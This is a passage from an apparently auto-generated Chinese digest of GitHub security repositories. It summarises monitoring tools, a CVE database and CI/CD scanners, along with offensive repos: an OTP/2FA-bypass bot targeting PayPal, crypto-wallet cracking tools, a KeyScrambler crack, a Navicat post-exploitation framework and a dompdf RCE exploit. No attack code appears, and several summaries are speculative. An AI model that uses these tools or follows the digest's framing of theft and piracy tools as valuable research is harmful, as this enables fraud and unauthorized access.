|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现了一个新的蓝牙监控模块,包括配置结构体、新增的监控逻辑文件(monitor.go),以及在管理器内的模块注册代码。
|
||
|
||
> 监控周期设为5秒,可能通过检测蓝牙 OBEX 传输事件识别文件传输行为。
|
||
|
||
> 未提供具体的检测与分析机制细节,但核心意图是捕获蓝牙文件传输的行为,提升端点安全监控覆盖面。
|
||
|
||
> 模块整合到主程序中,支持配置开关,便于启用或禁用。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 主程序入口及模块管理
|
||
• 监控配置文件
|
||
• Bluetooth监控逻辑实现(monitor.go)
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新引入了蓝牙文件传输监控模块,扩展了终端监控能力,可用于检测蓝牙端口的潜在安全威胁,改善对端点的安全防护措施,符合漏洞利用和安全功能增强的标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Azure-SIEM-Project - Azure环境下安全监控与攻击检测指南
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Azure-SIEM-Project](https://github.com/obitech21/Azure-SIEM-Project) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库演示利用Azure VM和安全工具进行攻击检测和监控,内容涉及日志分析和攻击追踪流程,具有一定安全研究意义。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用Azure VM作为蜜罐实现攻击收集 |
|
||
| 2 | 配置和使用Azure安全工具(如Sentinel、Log Analytics)进行监控 |
|
||
| 3 | 提供攻击追踪和攻击源定位的技术流程 |
|
||
| 4 | 与搜索关键词'security tool'相关,展示安全监控与检测手段 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用PowerShell和Azure安全API收集安全日志,实现攻击检测与分析
|
||
|
||
> 集成Microsoft Sentinel进行可视化攻击地图,追踪攻击来源
|
||
|
||
> 配置网络安全规则,模拟高危环境,验证安全监控流程
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Azure VM安全配置
|
||
• Log Analytics工作区
|
||
• Microsoft Sentinel集成与攻击可视化
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库围绕Azure环境中的安全监控和攻击检测展开,详细展示了使用Azure安全工具进行渗透检测和追踪的方法,核心内容符合渗透测试和安全研究的需求,具备一定的技术实用性和研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa - 针对OTP二次验证的绕过工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa](https://github.com/Tamzk/Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全绕过` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要提供绕过OTP二次验证的技术手段,目标平台包括PayPal等,可能涉及漏洞利用或漏洞绕过方法的实现。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | OTP绕过工具,集中于自动化OTP绕过技术 |
|
||
| 2 | 持续维护,包括多次更新,可能涉及新的绕过技术 |
|
||
| 3 | 涉及目标平台如PayPal、Telegram等,安全相关性强 |
|
||
| 4 | 可能影响OTP二次验证的安全性,存在安全风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现可能包括绕过OTP验证的自动化脚本或技术手段,利用系统漏洞或弱点
|
||
|
||
> 安全影响:严重削弱二次验证的防护能力,存在被滥用风险
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• OTP验证系统
|
||
• 多平台二次验证机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库专注于OTP验证绕过技术,涉及漏洞利用和安全绕过,具有高度安全相关性和潜在威胁,符合安全研究和渗透测试中重要技术内容。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-DATABASE - 漏洞信息汇总与追踪数据库
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CVE-DATABASE](https://github.com/navin-hariharan/CVE-DATABASE) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **84**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库维护了丰富的CVEs信息,包括漏洞描述、影响版本、引用链接等,内容多为漏洞公告和安全分析结果。本次更新添加了多个新漏洞的详细信息,涉及远程代码执行、信息泄露、SQL注入等安全漏洞,部分附带利用方式或影响分析,具有一定安全研究价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 汇总并跟踪已公开的安全漏洞信息 |
|
||
| 2 | 新增多个CVE详细数据,包括影响版本、安全描述、漏洞类型 |
|
||
| 3 | 部分漏洞信息包含安全相关详细描述、影响分析或利用途径 |
|
||
| 4 | 影响组件主要为企业软件、固件、操作系统及第三方应用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 更新内容包括漏洞描述文本、受影响版本范围、CVSS评分、漏洞类型(CWE)等技术细节
|
||
|
||
> 部分漏洞涉及远程执行、注入、跨站脚本、缓冲区溢出等通用安全风险
|
||
|
||
> 部分新增漏洞提供具体利用信息或影响说明,有一定的攻击场景分析
|
||
|
||
> 数据格式为JSON,便于安全工具或自动化检测分析
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 企业应用软件
|
||
• 固件及嵌入式系统
|
||
• 操作系统组件
|
||
• 第三方安全产品
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新持续增加了影响版本多样的高危及中危漏洞信息,部分包含利用途径、影响分析,有助于安全检测、漏洞修复和风险评估,符合安全漏洞信息价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CICD-Cybersecurity - CI/CD安全工具链与安全策略框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CICD-Cybersecurity](https://github.com/cdfoundation/CICD-Cybersecurity) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全检测工具集成` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库聚焦于在现代软件开发中通过CI/CD流程提升安全,包括引入多款漏洞检测与安全扫描工具,强化安全漏洞识别与管理,改善安全防护能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 整合多种开源漏洞扫描和安全检测工具以增强CI/CD流程的安全性 |
|
||
| 2 | 新增针对软件漏洞库查询(OSV、Vulners)、容器和二进制扫描(Grype、Vulns、cve-bin-tool)、代码静态分析(Codeql、SonarQube、Bandit、FindSecBugs、Brakeman、Conftest)等功能 |
|
||
| 3 | 引入安全漏洞管理和风险度量工具(Dependency-Track、VEX等) |
|
||
| 4 | 安全功能主要体现在漏洞检测覆盖面扩大与安全风险分析提升 |
|
||
| 5 | 未涉及具体漏洞利用代码或漏洞修复方案,仅关注安全检测工具的集成与使用建议 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 集成了多个检测漏洞的工具,支持软件包CVEs查询、容器扫描、二进制文件漏洞检测、静态代码分析等多环节安全检测
|
||
|
||
> 通过多工具协同实现漏洞信息的收集、分析和风险评估,提升安全事件的检测能力
|
||
|
||
> 利用公开漏洞数据库(OSV、Vulners)、容器扫描(Grype)、静态分析(CodeQL、SonarQube、Bandit等)实现自动化安全检测流程
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 软件构建流程
|
||
• 容器镜像
|
||
• 代码仓库
|
||
• 二进制文件
|
||
• 依赖组件
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库在原有基础上显著增强安全检测能力,通过集成多种漏洞安全检测工具,有针对性地强化了漏洞识别与预警,提供了完整的安全检测框架,符合安全漏洞检测与管理的价值标准。尽管未包含漏洞利用或修复,但在安全检测方面具有较强的实用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### hack-crypto-wallet - 用于加密货币钱包密码恢复的工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [hack-crypto-wallet](https://github.com/Roxi27-dising/hack-crypto-wallet) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要聚焦于区块链和加密货币钱包的安全分析,更新涉及密码恢复技术,可能存在安全漏洞利用相关内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 加密货币钱包密码恢复工具 |
|
||
| 2 | 使用加密破解技术,帮助找回钱包密码 |
|
||
| 3 | 涉及密码破解和钱包安全相关技术 |
|
||
| 4 | 可能被用于安全测试或潜在恶意攻击 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用密码破解和加密分析方法,可能涉及到对钱包私钥或密码的破解技术
|
||
|
||
> 安全影响分析:如果用于未授权访问,存在被用于钱包窃取的风险,因此具有潜在的安全利用价值
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 加密货币钱包
|
||
• 密码存储与保护机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库涉及密码破解技术,可能用于安全测试或漏洞利用,具有潜在的安全风险与研究价值,但也可能被滥用,符合安全研究相关的价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### QFX-KeyScrambler-Crack-4a - 破解QFX KeyScrambler软件的工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [QFX-KeyScrambler-Crack-4a](https://github.com/Anzeem868/QFX-KeyScrambler-Crack-4a) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供用于绕过QFX KeyScrambler的安全防护的破解工具,允许用户访问付费功能。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 破解QFX KeyScrambler的保护机制 |
|
||
| 2 | 提供绕过付费验证的利用方法 |
|
||
| 3 | 绕过安全功能,影响软件的正版检测 |
|
||
| 4 | 直接影响QFX KeyScrambler软件的安全保障和许可验证 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过逆向工程或补丁手段绕过软件的授权验证逻辑
|
||
|
||
> 破解工具可能利用反调试、静态分析或代码注入等技术
|
||
|
||
> 安全影响:削弱软件的正版保护措施,助长盗版行为
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• QFX KeyScrambler的授权验证模块
|
||
• 软件的付费功能和安全防护措施
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库直接提供破解工具,影响软件安全和版权保护,符合安全破解与绕过保护措施的标准
|
||
</details>
|
||
|
||
---
|
||
|
||
### SecuriScan - 网站安全漏洞扫描与检测工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SecuriScan](https://github.com/Trendiva/SecuriScan) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全检测` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该项目为Python工具,用于扫描网站的安全漏洞,包括过时库、暴露的管理面板、安全头缺失以及CSRF、XSS等高级威胁,帮助检测常见安全漏洞。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 扫描网站潜在安全漏洞与风险 |
|
||
| 2 | 检测过时库、暴露管理面板、安全头缺失、CSRF和XSS漏洞 |
|
||
| 3 | 安全相关的漏洞检测和预警功能 |
|
||
| 4 | 提升网站安全性,预防被利用攻击 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Python编写,集成多种漏洞检测策略,包括利用已知的漏洞特征匹配和安全头检测方法
|
||
|
||
> 核心功能是识别网站常见安全弱点,帮助用户提前防范
|
||
|
||
> 未提及升级或修复漏洞的自动化功能,主要是检测和报告
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Web应用程序
|
||
• HTTP/HTTPS安全配置
|
||
• Web页面中的安全headers
|
||
• 前端和后端的安全防御
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
项目专注于检测多种web漏洞,涵盖常见且支持高级威胁,提供实用的安全检测能力,有助于发现安全漏洞,具有明显的安全价值
|
||
</details>
|
||
|
||
---
|
||
|
||
### hack-crypto-wallets - 专为非法突破加密钱包设计的渗透工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [hack-crypto-wallets](https://github.com/Mojo96666/hack-crypto-wallets) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库开发了绕过加密机制的技术,用于非法获取加密货币钱包,目前最新内容主要为README说明,未见具体漏洞利用代码或安全强化措施。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 旨在突破加密钱包的安全保护 |
|
||
| 2 | 工具声明用于绕过安全机制获取未授权访问 |
|
||
| 3 | 涉及利用加密协议漏洞的潜在技术 |
|
||
| 4 | 主要影响加密货币钱包安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 可能包含用于攻破钱包加密的算法和技术,但在最新提交中未具体展现
|
||
|
||
> 强调使用复杂算法进行攻击,存在潜在的安全风险
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 加密货币钱包软件及其加密协议
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库意在强调和实现破解钱包加密的技术,直接涉及漏洞利用,具有潜在的渗透测试和安全研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2watcher - C2威胁情报每日监控工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2watcher](https://github.com/Xanderux/C2watcher) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供每日C2威胁情报数据,含有针对特定威胁(如Lazarus Stealer)的检测信息,用于识别和应对C2相关的攻击活动。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 监控C2相关威胁情报 |
|
||
| 2 | 新增针对Lazarus Stealer的检测信息 |
|
||
| 3 | 安全相关内容:威胁情报采集和识别 |
|
||
| 4 | 影响C2基础设施检测与防御 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现方式为每日更新威胁情报数据,通过检测特定的C2通信特征或指标,识别潜在威胁
|
||
|
||
> 安全影响分析:增强对C2基础设施的监控能力,有助于提前发现并阻断相关恶意活动
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 威胁情报分析系统
|
||
• C2基础设施监测模型
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库提供针对C2基础设施的威胁识别,尤其是新增的针对Lazarus Stealer的检测,有助于早期捕获和应对渗透攻击,属于关键安全监控工具。
|
||
</details>
|
||
|
||
---
|
||
|
||
### financial_security_ai_model - 金融安全AI漏洞和防护检测工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [financial_security_ai_model](https://github.com/ANGIBU/financial_security_ai_model) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全检测/安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **10**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要设计用于金融安全相关的AI检测和防护,最新更新增强了对安全漏洞利用和检测的模式识别技术,包括改进漏洞相关Pattern识别和问题分析机制,提升了安全防护应用的精准性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 针对金融安全的AI检测和防护工具 |
|
||
| 2 | 增强了漏洞利用Pattern识别能力,改进了安全漏洞匹配算法 |
|
||
| 3 | 引入多样化的Pattern识别和问答意图分析,强化安全漏洞检测 |
|
||
| 4 | 对关键安全相关模式的识别和匹配算法进行了优化,有助于漏洞的快速定位和预警 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用正则表达式增强Pattern识别能力,包括漏洞利用方式和问答意图识别模式,增强了对安全漏洞的检测能力。
|
||
|
||
> 在代码中引入多元Pattern的识别规则,例如特定数字、关键词组合,用于敏感信息和漏洞模式的分析,提高了对潜在安全风险的过滤能力。
|
||
|
||
> 通过丰富的安全关键词和Pattern优化实现,更有效地识别安全漏洞场景中的关键特征和利用链。
|
||
|
||
> 安全影响分析:这些优化显著提升了漏洞检测的敏感性和准确性,有助于提前识别出潜在的安全风险点,增强系统安全防护能力。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 漏洞匹配算法
|
||
• 问答意图分析模块
|
||
• Pattern识别引擎
|
||
• 安全模式识别系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库最新更新显著增强了针对金融安全场景中的漏洞利用Pattern识别能力,涉及具体Pattern优化和多样化关键词配置,明显提升安全检测的精准性和效率,具有直接的漏洞利用识别及安全防护应用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### ai-sec - AI安全分析平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [ai-sec](https://github.com/AISecurityAssurance/ai-sec) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **33**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库专注于AI系统的安全分析,最新更新主要实现了对系统漏洞、风险和安全缺陷的自动化检测与分析,包括添加了漏洞利用模板、增强了威胁模型的检测能力、引入了攻击路径追踪与漏洞扫描工具,以及完善了安全场景生成和关联追踪功能,显著提升了对安全漏洞的识别和响应能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现自动化安全漏洞检测与分析 |
|
||
| 2 | 新增漏洞利用场景和POC代码 |
|
||
| 3 | 集成攻击路径追踪与漏洞扫描工具 |
|
||
| 4 | 增强威胁模型和风险分析能力 |
|
||
| 5 | 支持安全场景自动生成与关联追踪 |
|
||
| 6 | 优化漏洞检测范围与精度 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 引入漏洞利用脚本、攻击路径追踪算法和安全场景生成器,提升检测能力。
|
||
|
||
> 通过工具自动化识别系统中的安全漏洞和配置缺陷,修复已知安全漏洞,完善威胁模型检测。
|
||
|
||
> 集成多层次安全防护措施,增强系统整体安全态势感知能力。
|
||
|
||
> 采用安全漏洞利用场景模板和漏洞匹配算法,提高漏洞识别准确率。
|
||
|
||
> 完善安全场景关联追踪功能,动态映射潜在攻击路径和影响范围。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 漏洞检测模块
|
||
• 漏洞利用工具
|
||
• 安全风险分析引擎
|
||
• 威胁模型检测机制
|
||
• 安全场景生成与追踪系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新显著增强了系统在漏洞检测、利用和威胁建模方面的功能,涉及具体的漏洞检测代码、利用场景、攻击路径追踪和安全场景自动化生成,符合安全漏洞和防护相关的价值判断标准,能够有效提升安全检测效率和准确性。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Agentic-AI- - 基于AI的威胁检测与防御系统
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Agentic-AI-](https://github.com/spps2004/Agentic-AI-) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **3**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库旨在利用AI技术构建自动化的安全监测系统,检测自主行为的恶意AI代理,具备持续学习和自适应能力,符合安全研究和漏洞利用的核心目标。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 设计与实现一个AI驱动的安全监测与响应平台 |
|
||
| 2 | 重点在检测自主AI代理的异常或恶意行为 |
|
||
| 3 | 具备行为数据采集、异常检测、自动响应与学习能力 |
|
||
| 4 | 与搜索关键词'AI Security'高度相关,关注自主AI代理的安全威胁 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用ML/LLM模型对代理行为进行异常检测,可能涉及行为分析和模型训练技术
|
||
|
||
> 实现自动化的渗透检测与响应机制,包括敏感行为识别和自动封禁/通知流程
|
||
|
||
> 系统可能包含多阶段监控、数据分析和模型持续优化策略
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 行为监控模块
|
||
• 异常检测算法
|
||
• 自动响应机制
|
||
• 模型训练与学习系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
内容聚焦于利用AI进行安全威胁检测与响应,核心在自主AI代理的行为识别和自适应防御,技术内容实质性强,符合渗透测试和红队攻防研究价值,与搜索关键词高度相关。
|
||
</details>
|
||
|
||
---
|
||
|
||
### vvc-ehsw4l-vibecheck-ai-security - AI安全防护网站,防范prompt注入
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [vvc-ehsw4l-vibecheck-ai-security](https://github.com/breagent/vvc-ehsw4l-vibecheck-ai-security) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库为一套针对AI提示注入攻击的安全防护解决方案,核心在提供监控与检测能力,旨在防止恶意利用Prompt篡改AI行为,具有一定的技术深度。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供针对prompt注入的安全监控和检测系统 |
|
||
| 2 | 强调AI相关的安全防护,符合AI Security关键词 |
|
||
| 3 | 聚焦于保护AI模型免受恶意提示篡改,具有技术研究价值 |
|
||
| 4 | 与搜索关键词“AI Security”高度相关,内容核心是AI安全防护技术 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现方案包括检测输入输出异常、行为分析和安全策略限制,通过技术手段识别潜在的prompt注入攻击
|
||
|
||
> 安全机制分析显示采用多层次监控和响应策略,结合人工规则与机器学习模型进行攻击识别
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AI模型接口
|
||
• 输入输出数据流
|
||
• 安全检测引擎
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库核心聚焦于AI安全中的prompt注入攻击防护,提供实际的检测机制和技术方案,符合渗透测试与漏洞利用的安全研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### NavicatPwn - 针对Navicat的后渗透利用框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [NavicatPwn](https://github.com/RICARDOCRC735/NavicatPwn) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/后渗透技术` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供针对Navicat数据库管理工具的后渗透利用框架,旨在识别和利用Navicat相关的安全漏洞,辅助安全专业人员进行渗透测试和安全评估。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供针对Navicat的后渗透利用工具 |
|
||
| 2 | 包含漏洞利用和渗透框架 |
|
||
| 3 | 安全相关内容涉及内网渗透和数据库安全 |
|
||
| 4 | 目标为Navicat安全漏洞发现与利用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用框架可能包含针对Navicat已知漏洞的利用代码或钓鱼/权限提升手段
|
||
|
||
> 通过模拟渗透后续步骤,协助安全测试中的漏洞验证及权限增强
|
||
|
||
> 未提供具体的漏洞细节或POC代码,内容偏向工具框架描述
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Navicat数据库管理工具
|
||
• 内网数据库服务器
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库专注于Navicat的后渗透技术,可能包含漏洞利用方法或测试代码,符合安全测试和漏洞利用相关标准,有助于安全人员进行漏洞验证和风险评估。
|
||
</details>
|
||
|
||
---
|
||
|
||
### dompdf-rce - 针对dompdf的远程代码执行漏洞利用脚本
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [dompdf-rce](https://github.com/player370123/dompdf-rce) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用框架` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
仓库包含利用脚本和相关文件,旨在演示或测试d/pdf文件中存在的RCE漏洞,具备一定安全研究和漏洞利用价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供针对d/pdf相关模块的RCE漏洞利用代码 |
|
||
| 2 | 包含利用脚本(exp.css和expfont.php)用于执行远程命令 |
|
||
| 3 | 具备实质性的技术内容,专注于漏洞利用测试 |
|
||
| 4 | 与搜索关键词'RCE'高度相关,目的在漏洞验证或攻防演练 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用脚本可能通过特制的PDF内容或字体文件触发远程代码执行
|
||
|
||
> 脚本利用了程序未处理恶意输入或字体加载漏洞的安全弱点
|
||
